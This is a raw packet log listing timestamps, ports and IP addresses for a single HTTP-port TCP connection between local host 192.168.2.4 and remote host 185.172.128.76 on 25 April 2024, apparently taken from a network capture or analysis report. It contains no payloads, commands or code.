Apr 25, 2024 14:42:10.848639011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.848655939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.848694086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.848707914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.848730087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.848773003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.848783016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.848824978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.848853111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.848896980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.849159956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.849173069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.849210978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.849375963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.849425077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.849466085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.849514008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.849675894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.849726915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.849754095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.849801064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.850162029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.850208998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.850501060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.850548983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.850583076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.850630045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.850723028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.850769043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.850816965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.850852013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.850864887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.850873947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.850889921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.850909948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.850913048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.850929976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.850955009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.850966930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851094007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851106882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851135015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851150990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851176023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851217985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851303101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851317883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851339102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851341963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851363897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851377964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851406097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851433039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851450920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851480007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851481915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851494074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851519108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851532936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851644993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851660013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851687908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851696014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851707935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851736069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851788998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851828098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851852894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851867914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851895094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851907015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.851918936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.851962090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.852251053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.852300882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.852308989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.852348089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.852375031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.852387905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.852415085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.852430105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.852520943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.852560997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.852566004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.852607012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.852626085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.852663994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853205919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.853252888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853280067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.853318930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.853328943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853354931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.853358030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853369951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.853395939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853406906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853581905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.853629112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853637934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.853667021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.853677034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853703022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.853704929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853743076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853849888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.853899956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853925943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.853940964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.853971004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853981972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.853995085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.854038000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.854209900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.854257107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.854281902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.854320049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.854343891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.854382038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.854515076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.854557991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.854599953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.854645014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.855108976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.855119944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.855156898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.855170012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.855182886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.855210066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.855232954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.855361938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.855374098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.855411053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.855417967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.855456114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.855480909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.855520964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.855921984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.855932951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.855971098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.855976105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856015921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856019020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856060982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856102943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856141090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856436014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856448889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856483936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856509924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856550932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856559992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856571913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856600046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856610060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856621981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856635094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856657028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856669903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856678009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856688976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856713057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856726885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856767893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856781006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856806993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856822968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856843948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856856108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856883049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856899023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856924057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856951952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.856962919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856988907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.856990099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857027054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857377052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857423067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857445955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857491970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857496977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857510090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857536077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857544899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857552052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857589960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857594967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857625008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857633114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857656956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857665062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857695103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857719898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857743979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857760906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857777119 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857830048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857868910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857878923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857916117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857924938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857939005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.857964039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857978106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.857989073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858000994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858027935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858038902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858072042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858086109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858110905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858120918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858127117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858139038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858160973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858174086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858185053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858186007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858196020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858227015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858253956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858272076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858300924 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858319044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858366966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858380079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858390093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858401060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858406067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858421087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858438015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858445883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858469963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858488083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858510971 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858525038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858536005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858562946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858577967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858656883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858670950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858695984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858704090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858706951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858737946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858741045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858783960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858820915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858853102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858860970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858923912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858923912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858937979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.858963966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.858978033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.859041929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859066010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859086037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.859102964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.859349012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859359980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859389067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859396935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.859421968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.859456062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859468937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859477997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859497070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.859519958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.859584093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859621048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.859632015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859644890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859673023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.859688997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.859826088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859838009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.859867096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.859884977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.860038996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.860086918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.860094070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.860133886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.860146999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.860184908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.893405914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.893448114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.893507957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.893520117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.893615961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.893615961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.903007030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.903359890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.903410912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.903450966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.903590918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.903595924 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.903635025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.903727055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.903772116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.903793097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.903832912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.903836966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.903858900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.903878927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.903894901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.903915882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.903954983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.903980970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904019117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.904043913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904083014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.904164076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904208899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.904232979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904244900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904284000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.904627085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904638052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904680014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.904694080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904726028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.904772043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904808998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904819012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.904843092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904850960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.904856920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904884100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.904897928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.904920101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.904970884 CEST	80	49731	185.172.128.76	192.168.2.4
